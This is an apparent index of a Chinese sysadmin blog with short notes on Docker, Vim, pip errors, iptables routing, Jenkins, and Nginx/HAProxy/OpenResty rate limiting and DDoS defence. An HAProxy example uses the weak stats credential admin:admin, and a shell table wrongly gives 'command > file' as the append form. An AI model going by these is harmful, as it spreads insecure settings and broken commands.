2. ssl_hello：发送 hello 报文并接收 relaserver 返回的 hello 报文
3. http: 自定义发送一个请求，判断上游 relaserver 接收并处理
4. mysql: 连接到 mysql 服务器，判断上游 relaserver 是否还存在
5. ajp: 发送 AJP Cping 数据包，接收并解析 AJP Cpong 响应以诊断上游 relaserver 是否还存活(AJP tomcat 内置的一种协议)
6. fastcgi: php 程序是否存活

example

CS 視覺化：實用的 Git 指令

Thu, 16 Apr 2020 20:20:16 +0800

CS 視覺化：實用的 Git 指令

字串欄位被轉成 True（型別 string）

Wed, 15 Apr 2020 21:34:09 +0800

活久见！Linux命令行居然也可以用来查看图像？

Tue, 14 Apr 2020 22:01:02 +0800

活久见！Linux 命令行居然也可以用来查看图像？

FIM

sudo apt-get install fim

控制 FIM 中图像的常用快捷键：

PageUp / Down：上一个图像/下一个图像
+/-：放大/缩小
a：自动缩放
w：合适宽度
h：合适身高
j / k：向下平移/向上平移
f / m：翻转/镜面反射
r / R：旋转（顺时针和逆时针）
ESC / q：退出

Viu

cargo install viu

Lsix

sudo apt-get install imagemagick

wget https://github.com/hackerb9/lsix/archive/master.zip

使用 docker-compose 部署到遠端 Docker 主機

Wed, 25 Mar 2020 19:30:54 +0800

使用 docker-compose 部署到遠端 Docker 主機

手動部署：複製專案檔案、安裝 docker-compose 並執行

$ scp -r hello-docker user@remotehost:/path/to/src
$ ssh user@remotehost
$ pip install docker-compose
$ cd /path/to/src/hello-docker
$ docker-compose up -d

使用 DOCKER_HOST 環境變數設定目標引擎

$ cd hello-docker
$ DOCKER_HOST="ssh://user@remotehost" docker-compose up -d

使用 docker context

$ docker context create remote ‐‐docker "host=ssh://user@remotemachine"
remote
Successfully created context "remote"

$ docker context ls
NAME DESCRIPTION DOCKER ENDPOINT KUBERNETES ENDPOINT ORCHESTRATOR
default * Current DOCKER_HOST… unix:///var/run/docker.sock swarm
remote ssh://user@remotemachine

$ cd hello-docker
$ docker-compose ‐‐context remote up -d

应大多数人要求写下kubeadm的基础使用

Tue, 24 Mar 2020 16:00:34 +0800

Vim 小技巧 - 在 Linux 上用 Vim 編輯遠端檔案

Sat, 14 Mar 2020 15:43:38 +0800

Vim 小技巧 - 在 Linux 上用 Vim 編輯遠端檔案

在 Linux 上用 Vim 編輯遠端檔案

$ vim scp://sk@192.168.225.22/info.txt

user@remotesystem:port（例如 sk@192.168.225.22）
單斜線 (/) - 若要編輯位於遠端系統 $HOME 目錄的檔案，需要在遠端系統的 IP 或主機名後加上一個斜線，用來分隔檔案路徑。
雙斜線 (//) - 若要指定檔案完整路徑，必須使用雙斜線。例如，你要編輯遠端系統 /home/sk/Documents/ 目錄下的 info.txt，命令會是：vim scp://sk@192.168.225.22//home/sk/Documents/info.txt
如果沒有 ssh/scp 權限，可以改用其他協定，例如 ftp：vim ftp://user@remotesystem/path/to/file

在 Vim 工作階段內編輯遠端檔案

:e scp://sk@192.168.225.22/info.txt

Python 安裝模組問題

Wed, 04 Mar 2020 15:43:38 +0800

無法安裝 python-ldap

python-ldap

https://www.python-ldap.org/en/latest/installing.html

$ pip install python-ldap
In file included from Modules/LDAPObject.c:9:


Modules/errors.h:8: fatal error: lber.h: No such file or directory

Debian/Ubuntu: sudo apt-get install libsasl2-dev python-dev libldap2-dev libssl-dev
RedHat/CentOS:

sudo yum install python-devel openldap-devel
sudo yum groupinstall "Development tools"

molecule

$ pip install molecule
error: command 'gcc' failed with exit status 1


 ----------------------------------------
Command "/usr/bin/python2 -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-I5DGC3/psutil/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-record-Fy7V4X/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-install-I5DGC3/psutil/

RedHat/CentOS:

yum -y install gcc gcc-c++ kernel-devel
yum -y install python-devel libxslt-devel libffi-devel openssl-devel

ansible

$ pip install ansible
ImportError: No module named pkg_resources

yum install -y python-setuptools

`import pandas`

ModuleNotFoundError: No module named '_bz2'

apt-get install -y libbz2-dev
yum install -y bzip2-devel

`from .cv2 import *`

ImportError: libSM.so.6: cannot open shared object file: No such file or directory
ImportError: libXrender.so.1: cannot open shared object file: No such file or directory
ImportError: libXext.so.6: cannot open shared object file: No such file or directory

Ubuntu:

apt-get install libsm6
apt-get install libxrender1
apt-get install libxext-dev

CentOS:

yum install libSM
yum install libXrender-devel
yum install libXext

vagrant筆記

Wed, 26 Feb 2020 10:52:19 +0800

1 General 1.1 Path 下載的 box 預設放在~/.vagrant.d/boxes 裡 guest machine 的 data 放的地方根據 VM 設定而不同可開啟 VirtualBox 查看，VirtualBox 預設是在~/VirtualBox\ VMS

1.2 Shared Folder guest machine 的/vagrant 將會自動 mount 到 host machine 的放 Vagrantfile 的那個 folder 此功能需要 guest machine 的 Box 的 VB guest additions 版本與 VM 中的一樣若出現錯誤則需要更新 box 或用這個非官方的 plugin: https://github.com/dotless-de/vagrant-vbguest

2 Uninstall 2.1 REMOVING THE VAGRANT PROGRAM

rm -rf /Applications/Vagrant
rm -f /usr/bin/vagrant
sudo pkgutil --forget com.vagrant.vagrant

2.2 REMOVING USER DATA rm -rf ~/.vagrant.d 3 Command https://www.vagrantup.com/docs/cli/

Cannot set command timeout per task with network_cli

Tue, 14 Jan 2020 16:34:03 +0800

- name: run command
 ios_command:
 commands:
 - show version
 vars:
 ansible_command_timeout: 40

Bash 腳本如何建立臨時檔案：mktemp 與 trap 教學

Mon, 30 Dec 2019 14:31:45 +0800

Bash 腳本如何建立臨時檔案：mktemp 與 trap 教學

`mktemp` 命令

產生的臨時檔案名稱是隨機的，而且權限只有使用者本人可讀寫。
為了確保臨時檔案建立成功，mktemp 後面最好使用 OR 運算子（||），在建立失敗時退出腳本。
為了確保腳本退出時刪除臨時檔案，可以使用 trap 指定退出時的清理動作。

#!/bin/bash

trap 'rm -f "$TMPFILE"' EXIT

TMPFILE=$(mktemp) || exit 1
echo "Our temp file is $TMPFILE"

mktemp 參數

-d 參數可以建立臨時目錄。
-p 參數可以指定臨時檔案所在的目錄。預設使用 $TMPDIR 環境變數指定的目錄；若未設定，使用 /tmp。
-t 參數可以指定臨時檔案的檔名模板，模板末尾必須至少包含三個連續的 X 字元作為隨機字元，建議至少六個 X。預設的檔名模板為 tmp. 加上十個隨機字元。

`trap` 命令的用法

trap 命令用來在 Bash 腳本中響應系統訊號。

最常見的系統訊號是 SIGINT（中斷），也就是按下 Ctrl + C 產生的訊號。-l 參數可以列出所有系統訊號。

$ trap -l
 1) SIGHUP 2) SIGINT 3) SIGQUIT
 4) SIGILL 5) SIGTRAP 6) SIGABRT
 ... ...

trap 的命令格式如下：

GitHub Actions 入門教學

Mon, 23 Dec 2019 10:16:01 +0800

GitHub Actions 入門教學

Nginx 如何防禦 DDoS 攻擊？

Fri, 20 Dec 2019 09:42:50 +0800

ngx_http_limit_req_module

limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

Golang 服務的檔案句柄超出系統限制（too many open files）

Mon, 16 Dec 2019 10:14:33 +0800

Golang 服務的檔案句柄超出系統限制（too many open files）

查看系統設定：ulimit -a | grep open，系統設定正常。
查看服務的開啟檔案限制：cat /proc/40636/limits，服務沒有繼承系統設定，仍是預設的 1024 限制。
查看服務開啟檔案數（連線數）：lsof -p 40636 | wc -l，已超過限制，因此報錯。
查看開啟了哪些連線：lsof -p 40636 > openfiles.log，發現很多 HTTP 連線未關閉，IP 是告警服務的介面。沿著線索找到原因：程式解析設定時出錯，對告警服務大量連線後未關閉，導致 too many open files。至於為何服務未繼承系統最大限制，還需進一步查看。
最終原因：服務由 supervisor 管理，supervisor 預設 minfds 為 1024。於設定中加入 minfds=81920，並重啟 supervisorctl reload。

Trellis Ansible 錯誤的解譯器

Fri, 06 Dec 2019 22:34:31 +0800

Trellis Ansible Bad Interpreter Error

Bad Interpreter Error

使用 Ansible 時遇到錯誤的解譯器問題。找不到 Python 2.7：

zsh: /usr/local/bin/ansible-vault: bad interpreter: /usr/local/opt/python@2/bin/python2.7: no such file or directory

這是正常的，因為我們檢查 /usr/local/opt 後只看到 Python 3。

安裝 Python 2

brew install python@2

Python 嚴重崩潰

接著在檢查 Ansible 版本時又出現錯誤：

➜ trellis git:(master) ansible --version
[1] 19153 abort ansible --version

它在 Python 2.7 上崩潰了，但理論上應該可以正常執行。我決定升級 Ansible。

sudo pip install ansible --upgrade
.....
Requirement already satisfied, skipping upgrade: six>=1.4.1 in /usr/local/lib/python2.7/site-packages (from cryptography->ansible) (1.11.0)
 Requirement already satisfied, skipping upgrade: pycparser in /usr/local/lib/python2.7/site-packages (from cffi>=1.7; platform_python_implementation != "PyPy"->cryptography->ansible) (2.18)
 Installing collected packages: ansible
 Found existing installation: ansible 2.7.5
 Uninstalling ansible-2.7.5:
 Successfully uninstalled ansible-2.7.5
 Successfully installed ansible-2.9.1

Still I had the Python error and iTerm was showing a MacOS popup that Python was crashing unexpectedly:

Python quit unexpectedly.
Click Reopen to open the application again. Click Report to see more detailed information and send a report to Apple.
Application Specific Information:
 /usr/lib/libcrypto.dylib
 abort() called
 Invalid dylib load. Clients should not load the unversioned libcrypto dylib as it does not have a stable ABI.

Invalid DyLib

找到 https://stackoverflow.com/questions/58272830/python-crashing-on-macos-10-15-beta-19a582a-with-usr-lib-libcrypto-dylib 這篇，知道是動態函式庫載入錯誤，於是決定安裝 openssl。

用 iptables 和 ip rule 做負載均衡

Wed, 04 Dec 2019 11:08:04 +0800

用 iptables 和 ip rule 做負載均衡

操作

這裡以一台透過有線 + 無線出口連線到網際網路的 Arch Linux 裝置為例。共有兩個出口，分別使用網卡 eth0 和 eth1。大致對應關係如下：

標記 10 (0xa) - 路由表 #110 - 使用 eth0 出口
標記 11 (0xb) - 路由表 #111 - 使用 eth1 出口

我們會根據封包上的標記值判斷它應該走哪個出口。首先，使用 ip rule 為每個標記值指定一張路由表。

通常預設路由表的權重是 32768。為了讓我們的路由表生效，需要將權重調高一些（例如 31000）。

# 讓帶標記 10 (0xa) 的封包使用 110 號路由表，權重 31000
ip rule add fwmark 10 table 110 prio 31000
# 讓帶標記 11 (0xb) 的封包使用 111 號路由表，權重 31000
ip rule add fwmark 11 table 111 prio 31000
# 如果你的連線更多，可以繼續新增標記 <-> 路由表的對應關係

# #110 路由表的路由
ip route add 10.20.0.0/24 dev eth0 table 110
ip route add default via 10.20.0.254 table 110
# #111 路由表的路由
ip route add 10.25.0.0/24 dev eth1 table 111
ip route add default via 10.25.0.254 table 111


# 如果這條連線已經被標記，將標記設定到封包上
iptables -t mangle -A OUTPUT -j CONNMARK --restore-mark
# 如果封包已經有標記，直接放行
iptables -t mangle -A OUTPUT -m mark ! --mark 0 -j ACCEPT
# 如果封包沒有被標記
# 把封包標記為 10 (0xa)
iptables -t mangle -A OUTPUT -j MARK --set-mark 10
# 每 2 個封包就把一個封包標記為 11 (0xb)
iptables -t mangle -A OUTPUT -m statistic --mode nth --every 2 --packet 0 -j MARK --set-mark 11

# 如果你有三條出口，這裡可以類似於
# iptables -t mangle -A OUTPUT -j MARK --set-mark 10
# iptables -t mangle -A OUTPUT -m statistic --mode nth --every 3 --packet 0 -j MARK --set-mark 11
# iptables -t mangle -A OUTPUT -m statistic --mode nth --every 3 --packet 1 -j MARK --set-mark 12

# 把封包的標記儲存到整條連線上，讓整個連線使用同一個出口
iptables -t mangle -A OUTPUT -j CONNMARK --save-mark

# 讓封包的出口與我們選擇的一致
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

之後可以用 iptables -L OUTPUT -t mangle 看一下規則是否正確，再用 Wireshark 驗證連線是否真的分流。

htop 說明

Thu, 14 Nov 2019 10:05:35 +0800

htop explained

Jenkinsfile 範例

Wed, 06 Nov 2019 17:29:46 +0800

Some Jenkinsfile examples

並行

#!/usr/bin/env groovy
pipeline {
agent any
stages {
stage("Build") {
steps {
sh 'mvn -v'
}
}
stage("Testing") {
parallel {
stage("Unit Tests") {
agent { docker 'openjdk:7-jdk-alpine' }
steps {
sh 'java -version'
}
}
stage("Functional Tests") {
agent { docker 'openjdk:8-jdk-alpine' }
steps {
sh 'java -version'
}
}
stage("Integration Tests") {
steps {
sh 'java -version'
}
}
}
}
stage("Deploy") {
steps {
echo "Deploy!"
}
}
}
}

When

#!/usr/bin/env groovy
pipeline {
agent any
environment {
VALUE_ONE = '1'
VALUE_TWO = '2'
VALUE_THREE = '3'
}
stages {
// skip a stage while creating the pipeline
stage("A stage to be skipped") {
when {
expression { false } //skip this stage
}
steps {
echo 'This step will never be run'
}
}
// Execute when branch = 'master'
stage("BASIC WHEN - Branch") {
when {
branch 'master'
}
steps {
echo 'BASIC WHEN - Master Branch!'
}
}
// Expression based when example with AND
stage('WHEN EXPRESSION with AND') {
when {
expression {
VALUE_ONE == '1' && VALUE_THREE == '3'
}
}
steps {
echo 'WHEN with AND expression works!'
}
}
// Expression based when example
stage('WHEN EXPRESSION with OR') {
when {
expression {
VALUE_ONE == '1' || VALUE_THREE == '2'
}
}
steps {
echo 'WHEN with OR expression works!'
}
}
// When - AllOf Example
stage("AllOf") {
when {
allOf {
environment name:'VALUE_ONE', value: '1'
environment name:'VALUE_TWO', value: '2'
}
}
steps {
echo "AllOf Works!!"
}
}
// When - Not AnyOf Example
stage("Not AnyOf") {
when {
not {
anyOf {
branch "development"
environment name:'VALUE_TWO', value: '4'
}
}
}
steps {
echo "Not AnyOf - Works!"
}
}
}
}

Jinja docx 樣板：在巢狀 for 中避免換行

Tue, 29 Oct 2019 10:17:35 +0800

Jinja docx 樣板：在巢狀 for 中避免換行

What the f*ck Python! 🐍 中文版

Fri, 11 Oct 2019 14:32:20 +0800

What the f*ck Python! 🐍

再戰營運商快取：使用 iptables 對付快取劫持

Mon, 07 Oct 2019 10:41:08 +0800

再戰營運商快取：使用 iptables 對付快取劫持

起因

與移動的快取問題進行鬥爭要追溯到兩年前，那時因為移動竟然連 cnpm 的資料都進行快取。更離譜的是：移動的快取伺服器不但速度慢到堪比萬年王八跑馬拉松，還經常當機，導致我只想安安靜靜寫程式卻不得不面對一片鮮紅的報錯。

解決

iptables -I FORWARD -p tcp -m tcp -m ttl --ttl-gt 20 -m ttl --ttl-lt 30 -j DROP

考慮到可能還真的有其他伺服器送來的正常封包 TTL 也在 20-30 的區間，應該再加一層判斷。對比移動的 302 劫持封包和正常的 302 跳轉封包後，發現移動的劫持封包狀態位包含 FIN、PSH、ACK，而正常的 302 跳轉封包通常不會這三個都有。

因此在 iptables 規則中加入是否包含 FIN、PSH、ACK 的判斷：

iptables -I FORWARD -p tcp -m tcp -m ttl --ttl-gt 20 -m ttl --ttl-lt 30 --tcp-flags ALL FIN,PSH,ACK -j DROP

這樣應能在丟棄劫持封包的同時，盡可能降低誤傷正常封包的可能性。

使用 Nginx 和 mod_pagespeed 自動將圖片轉換為 WebP 並輸出

Mon, 07 Oct 2019 10:35:22 +0800

使用 Nginx 和 mod_pagespeed 自動將圖片轉換為 WebP 並輸出

編譯 ngx_pagespeed

首先確保 Nginx 有 --with-compat 編譯參數，這樣就不需要按照一些奇怪的教學讓大家從頭開始編譯 Nginx

incubator: https://github.com/apache/incubator-pagespeed-ngx.git

# 切換到 nginx 原始碼目錄下開始設定編譯環境
./configure --with-compat --add-dynamic-module=../incubator-pagespeed-ngx

# 編譯 modules
make modules

# 將編譯好的 module 放到 nginx 目錄下
sudo cp objs/ngx_pagespeed.so /etc/nginx/modules/

# 建立快取資料夾以存放自動轉換的圖片
sudo mkdir -p /var/ngx_pagespeed_cache
sudo chown -R www-data:www-data /var/ngx_pagespeed_cache

load_module modules/ngx_pagespeed.so;


# enable pagespeed module on this server block
pagespeed on;

# Needs to exist and be writable by nginx. Use tmpfs for best performance.
pagespeed FileCachePath /var/ngx_pagespeed_cache;

# Ensure requests for pagespeed optimized resources go to the pagespeed handler
# and no extraneous headers get set.
location ~ "\.pagespeed\.([a-z]\.)?[a-z]{2}\.[^.]{10}\.[^.]+" {
 add_header "" "";
}
location ~ "^/pagespeed_static/" { }
location ~ "^/ngx_pagespeed_beacon$" { }

pagespeed RewriteLevel CoreFilters;

其中最後一段（pagespeed RewriteLevel CoreFilters;）表示啟用的最佳化方式，包含一些基礎的最佳化，例如：

是否有正規表示式可以檢測有效的正規表示式？

Fri, 04 Oct 2019 14:44:38 +0800

是否有正規表示式可以檢測有效的正規表示式？

這是一個遞迴正則，許多正則引擎不支援。基於 PCRE 的引擎應該支援。

/
^ # start of string
( # first group start
(?:
(?:[^?+*{}()[\]\\|]+ # literals and ^, $
| \\. # escaped characters
| \[ (?: \^?\\. | \^[^\\] | [^\\^] ) # character classes
(?: [^\]\\]+ | \\. )* \]
| \( (?:\?[:=!]|\?<[=!]|\?>)? (?1)?? \) # parenthesis, with recursive content
| \(\? (?:R|[+-]?\d+) \) # recursive matching
)
(?: (?:[?+*]|\{\d+(?:,\d*)?\}) [?+]? )? # quantifiers
| \| # alternative
)* # repeat content
) # end first group
$ # end of string
/

移除空白與註解後

用 Nginx 強制檔案下載

Mon, 19 Aug 2019 12:12:32 +0800

用 Nginx 強制檔案下載

add_header Content-Disposition 'attachment;';

server {
 listen 80;
 server_name my.domain.com;
 location ~ ^.*/(?P<request_basename>[^/]+\.(mp3))$ {
 root /path/to/mp3/
 add_header Content-Disposition 'attachment; filename="$request_basename"';
 }
}

{
 listen 80;
 server_name backup.baifu-tech.net;
 root /data/backup/rechargecent-mago;
 location / {
 auth_basic "baifu backup center";
 auth_basic_user_file /etc/nginx/ssl/htpasswd;
 autoindex on;
 autoindex_exact_size off;
 autoindex_localtime on;
 }
}

Shell 腳本學習筆記

Wed, 07 Aug 2019 15:14:08 +0800

Shell 腳本學習筆記

執行算術運算

val=`expr $a + $b`

運算符

符號	說明	示例
!	非運算	[ ! false ]
-o	或運算	[ $a -lt 20 -o $b -gt 20 ]
-a	與運算	[ $a -lt 20 -a $b -gt 20 ]
=	相等檢測	[ $a = $b ]
!=	不相等檢測	[ $a != $b ]
-z	字串長度是否為 0，為 0 則回傳 true	[ -z $a ]
-n	字串長度不為 0，不為 0 回傳 true	[ -n $a ]
str	檢測字串是否為空，不為空回傳 true	[ $a ]
-b	檢測檔案是否是區塊裝置檔	[ -b $file ]
-c	檢測檔案是否是字元裝置	..
-d	檢測檔案是否為目錄	[ -d $file ]
-f	檢測檔案是否為一般檔案	[ -f $file ]
-r	檢測檔案是否可讀	..
-w	檢測檔案是否可寫	..
-x	檢測檔案是否可執行	..
-s	檢測檔案是否為空	..
-e	檢測檔案是否存在	..

特殊變數

變數	含義
$0	目前腳本的檔名
$n	傳遞給腳本或函式的參數，n 表示第幾個參數
$#	傳遞給腳本或函式的參數個數
$*	傳遞給腳本或函式的所有參數，所有參數視為一個詞，例如 “1 2 3”
$@	傳遞給腳本或函式的所有參數，每個參數視為一個詞，用雙引號包含，例如 “1” “2” “3”
$?	上個命令的退出狀態，或函式的回傳值
$$	目前 Shell 行程 ID；對 Shell 腳本而言，就是該腳本所在的行程 ID

POSIX 程式退出狀態

狀態碼	含義
0	命令成功退出
> 0	在重導向或單詞展開期間（~、變數、命令、算術展開以及單詞切割）失敗
1 - 125	命令不成功退出，各命令自行定義特定退出值含義
126	命令找到但檔案無法執行
127	命令未找到
> 128	命令因收到信號而終止

輸入輸出重導向

命令	說明
command > file	將輸出重導向到 file
command > file	將輸出以追加的方式重導向到 file
n > file	將檔案描述符為 n 的檔案重導向到 file
n » file	將檔案描述符為 n 的檔案以追加的方式重導向到 file
n >& m	將輸出檔案 m 和 n 合併
n <& m	將輸入檔案 m 和 n 合併
« tag	將開始標記 tag 和結束標記 tag 之間的內容作為輸入

檔案包含

使用 . 或 source 包含檔案

`sentry.lang.javascript.processor: SoftTimeLimitExceeded()` 大量錯誤

Thu, 25 Jul 2019 14:25:56 +0800

`sentry.lang.javascript.processor: SoftTimeLimitExceeded()` 大量錯誤

mattrobenolt:

我正打算提出這個。:) 很不幸，這個功能就是如此運作。如果它沒有用且只是浪費資源，可以很容易地全域關閉：在 sentry.conf.py 設定 SENTRY_SCRAPE_JAVASCRIPT_CONTEXT = False，或在 UI 內針對專案關閉。

除此之外，沒有太多能做的，因為這個功能本質上是按設計運作。

Counters-0 佇列持續上升

matt:

你需要更多 worker 來處理這個佇列的負載。

你也可以讓 worker 專門處理特定佇列，例如使用 sentry run worker -Q counters-0。

Python Telegram Bot

Thu, 11 Jul 2019 14:03:25 +0800

Linux 磁碟空間未釋放的解決方法

Wed, 10 Jul 2019 09:57:33 +0800

Linux 磁碟空間未釋放的解決方法

使用 `df -ah` 命令 `du -h --max-depth=1`

du 的總和遠小於 df 得到的總量。

程式使用的檔案資源被刪除後，程式仍在執行，導致檔案未真正刪除，無法釋放磁碟空間，也無法被統計到。

lsof |grep delete

Sentry 原始碼開發筆記

Wed, 03 Jul 2019 11:53:15 +0800

openresty+redis 攔截高頻訪問 IP

Thu, 27 Jun 2019 11:18:46 +0800

openresty+redis 攔截高頻訪問 IP

init_by_lua_block {
 redis = require "redis"
 client = redis.connect('127.0.0.1', 6379)
}
server {
 listen 8080;
 location / {
 access_by_lua_file /usr/local/nginx/conf/lua/block.lua;
 proxy_pass http://192.168.1.102:8000;
 }
}

-- Redis-based IP rate limiting / blocking for OpenResty (ngx_lua)

-- NOTE:
-- This script assumes a global `client` variable is used/stored.
-- Make sure `redis` module is available and `client` is initialized somewhere.

local function isConnected()
 return client:ping()
end

local function createRedisConnection()
 return redis.connect("127.0.0.1", 6379)
end

-- 如果發生 redis 連線失敗，將停止攔截（直接放行）
if pcall(isConnected) then
 -- already connected (or ping succeeded)
else
 -- not connected; try reconnect
 if pcall(createRedisConnection) then
 -- 斷開重連：會導致每次訪問都需要重連 redis
 -- 訪問量大時建議：關閉重連邏輯（pcall 不執行），直接 ngx.exit 放行/終止
 client = createRedisConnection()
 else
 ngx.exit(ngx.OK)
 end
end

local ttl = 60 -- 監測週期（秒）
local bktimes = 30 -- 在監測週期內達到觸發攔截的訪問量
local block_ttl = 600 -- 觸發攔截後攔截時間（秒）

local ip = ngx.var.remote_addr
local ipvtimes = client:get(ip)

if ipvtimes then
 if ipvtimes == "-1" then
 -- blocked
 return ngx.exit(403)
 else
 local last_ttl = client:ttl(ip)
 -- ngx.say("key exist.ttl is ", last_ttl)

 if last_ttl == -1 then
 client:set(ip, 0)
 client:expire(ip, ttl)
 -- ngx.say("ttl & vtimes recount")
 return ngx.exit(ngx.OK)
 end

 local vtimes = tonumber(client:get(ip)) + 1

 if vtimes < bktimes then
 client:set(ip, vtimes)
 client:expire(ip, last_ttl)
 -- ngx.say(ip, " view ", vtimes, " times")
 return ngx.exit(ngx.OK)
 else
 -- ngx.say(ip, " will be block next time.")
 client:set(ip, -1)
 client:expire(ip, block_ttl)
 return ngx.exit(ngx.OK)
 end
 end
else
 -- key does not exist
 client:set(ip, 1)
 -- ngx.say(ip, " view 1 times")
 client:expire(ip, ttl)
 return ngx.exit(ngx.OK)
end

[Terraform] 入門學習筆記

Wed, 26 Jun 2019 17:22:52 +0800

[Terraform] 入門學習筆記

設定 Haproxy 以防止 DDOS 攻擊

Mon, 17 Jun 2019 11:07:13 +0800

設定 Haproxy 以防止 DDOS 攻擊

TCP syn flood attacks

vi /etc/sysctl.conf

# Protection from SYN flood
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.tcp_max_syn_backlog = 1024

Slowloris like attacks

defaults
option http-server-close
timeout http-request 5s
timeout connect 5s
timeout client 30s
timeout server 10s
timeout tunnel 1h

限制每一個 user 的連線數量

普通用戶瀏覽網站的網頁，或是從網站下載東西時，瀏覽器一般會建立 5-7 個 TCP 鏈接。當一個惡意 client 打開了大量 TCP 連線時，耗費大量資源，因此我們必須要限制同一個用戶的連線數量。

但如果有很多使用者，是從某一個私有網段，透過 NAT 的方式連線到 Server 時，且實際上我們也不知道，到底哪一個會是 NAT 的轉址後的 IP，不知道該將哪個 IP 設定為白名單，這樣的限制就會造成問題，因此我們認為實際的環境，這樣的設定應該要保留不處理。

以下是一個設定的範例，最重要的地方是在 frontend ft_web 區塊的設定。

global
stats socket ./haproxy.stats level admin
defaults
option http-server-close
mode http
timeout http-request 5s
timeout connect 5s
timeout server 10s
timeout client 30s
listen stats
bind 0.0.0.0:8880
stats enable
stats hide-version
stats uri /
stats realm HAProxy Statistics
stats auth admin:admin
frontend ft_web
bind 0.0.0.0:8080
# Table definition
stick-table type ip size 100k expire 30s store conn_cur
# Allow clean known IPs to bypass the filter
tcp-request connection accept if { src -f /etc/haproxy/whitelist.lst }
# Shut the new connection as long as the client has already 10 opened
tcp-request connection reject if { src_conn_cur ge 10 }
tcp-request connection track-sc1 src
# Split static and dynamic traffic since these requests have different impacts on the servers
use_backend bk_web_static if { path_end .jpg .png .gif .css .js }
default_backend bk_web
# Dynamic part of the application
backend bk_web
balance roundrobin
cookie MYSRV insert indirect nocache
server srv1 192.168.1.2:80 check cookie srv1 maxconn 100
server srv2 192.168.1.3:80 check cookie srv2 maxconn 100
# Static objects
backend bk_web_static
balance roundrobin
server srv1 192.168.1.2:80 check maxconn 1000
server srv2 192.168.1.3:80 check maxconn 1000

限制每個 user 產生新連線的速率 Limiting the connection rate per user

惡意的使用者會在短時間內建立很多連線，但如果產生新連線的速度太高，就會消耗掉過多的資源服務一個使用者。

白話 Kubernetes Runtime

Thu, 13 Jun 2019 11:28:26 +0800

白話 Kubernetes Runtime

Nginx 請求處理流程你了解嗎？

Thu, 07 Mar 2019 14:05:55 +0800

Nginx 請求處理流程你了解嗎？

11 個處理階段

1）NGX_HTTP_POST_READ_PHASE：

接收到完整的 HTTP 標頭後處理的階段，位於 URI 重寫之前。實際上很少有模組會註冊在該階段，預設情況下會被跳過。

2）NGX_HTTP_SERVER_REWRITE_PHASE：

在 URI 與 location 匹配前修改 URI 的階段，用於重新導向。該階段執行 server 區塊內、location 區塊外的重寫指令。在讀取請求標頭的過程中，nginx 會根據 host 及埠號找到對應的虛擬主機設定。

3）NGX_HTTP_FIND_CONFIG_PHASE：

根據 URI 尋找匹配的 location 設定項階段，使用重寫後的 URI 來查找對應的 location。需要注意的是該階段可能會被執行多次，因為也可能有 location 級別的重寫指令。

4）NGX_HTTP_REWRITE_PHASE：

上一階段找到 location 後再次修改 URI，屬於 location 級別的 URI 重寫階段，也可能會被執行多次。

5）NGX_HTTP_POST_REWRITE_PHASE：

防止重寫 URL 後導致的死循環，屬於 location 重寫的下一階段，用來檢查上階段是否有 URI 重寫，並根據結果跳轉到合適的階段。

6）NGX_HTTP_PREACCESS_PHASE：

下一階段之前的準備，屬於存取權限控制的前一階段。一般也用於存取控制，例如限制存取頻率、連線數等。

7）NGX_HTTP_ACCESS_PHASE：

讓 HTTP 模組判斷是否允許請求進入 Nginx 伺服器的存取控制階段，例如基於 IP 白名單/黑名單、使用者名稱密碼等的權限控制。

8）NGX_HTTP_POST_ACCESS_PHASE：

存取控制的後一階段，根據上一階段的執行結果進行處理，向使用者送出拒絕服務的錯誤碼，用來回應上一階段的拒絕。

9）NGX_HTTP_TRY_FILES_PHASE：

為存取靜態檔案資源而設置，try_files 指令的處理階段。如果沒有設定 try_files 指令，該階段會被跳過。

10）NGX_HTTP_CONTENT_PHASE：

阿瓦隆(The Resistance：Avalon)

Mon, 24 Dec 2018 13:22:33 +0800

阿瓦隆(The Resistance：Avalon)

Linux CentOS 7 安裝字體庫 & 中文本體

Tue, 18 Dec 2018 22:13:40 +0800

Linux CentOS 7 安裝字體庫 & 中文本體

yum -y install fontconfig

這時在 /usr/shared 目錄就可以看到 fonts 和 fontconfig 目錄了（之前是沒有的）

在這之前我們還需要新建目錄，首先在 /usr/shared/fonts 目錄下新建一個目錄 chinese

mkdir /usr/shared/fonts/chinese

只需要將我們需要的字體拷貝出來並上傳至 linux 服務器 /usr/shared/fonts/chinese 目錄下即可，在這裏我選擇宋體和黑體（報表中用到了這兩種字體），可以看到是兩個後綴名為 ttf 和 ttc 的文檔

chmod -R 755 /usr/share/fonts/chinese

接下來需要安裝 ttmkfdir 來搜索目錄中所有的字體信息，並彙總生成 fonts.scale 文檔


yum -y install ttmkfdir

ttmkfdir -e /usr/share/X11/fonts/encodings/encodings.dir

vi /etc/fonts/fonts.conf

<dir>/usr/shared/fonts/chinese<dir>

刷新內存中的字體緩存

fc-cache

auth.log 中 sshd 這行的 SHA256 是什麼？

Mon, 17 Dec 2018 16:11:43 +0800

auth.log 中 sshd 這行的 SHA256 是什麼？

ssh-keygen -lf .ssh/id_rsa.pub

cat .ssh/id_rsa.pub |
 awk '{ print $2 }' | # 只取實際的 key 資料，不含前綴或註解
 base64 -d | # 以 base64 解碼
 sha256sum | # SHA256 雜湊（回傳十六進位）
 awk '{ print $1 }' | # 只取十六進位資料
 xxd -r -p | # 十六進位轉位元組
 base64 # 以 base64 編碼

Shell 中 `< <(command args)` 是什麼意思？

Sat, 17 Nov 2018 22:29:23 +0800

Shell 中 < <(command args) 是什麼意思？

 while IFS= read -r -d $'\0' file; do
 dosomethingwith "$file" # 對每個檔案進行處理
 done < <(find /bar -name *foo* -print0)

<() 在手冊中稱為 process substitution，它類似於管線，但會傳遞 /dev/fd/63 這種形式的參數，而不是使用 stdin。

< 會從命令列指定的檔案讀取輸入。

這兩個運算子合起來的作用與管線完全相同，因此可以改寫為：

find /bar -name *foo* -print0 | while read line; do
 ...
done

Netcat（Linux nc 指令）網路管理者工具實用範例

Fri, 09 Nov 2018 00:17:47 +0800

Netcat（Linux nc 指令）網路管理者工具實用範例

傳送測試用的 UDP 封包到遠端伺服器

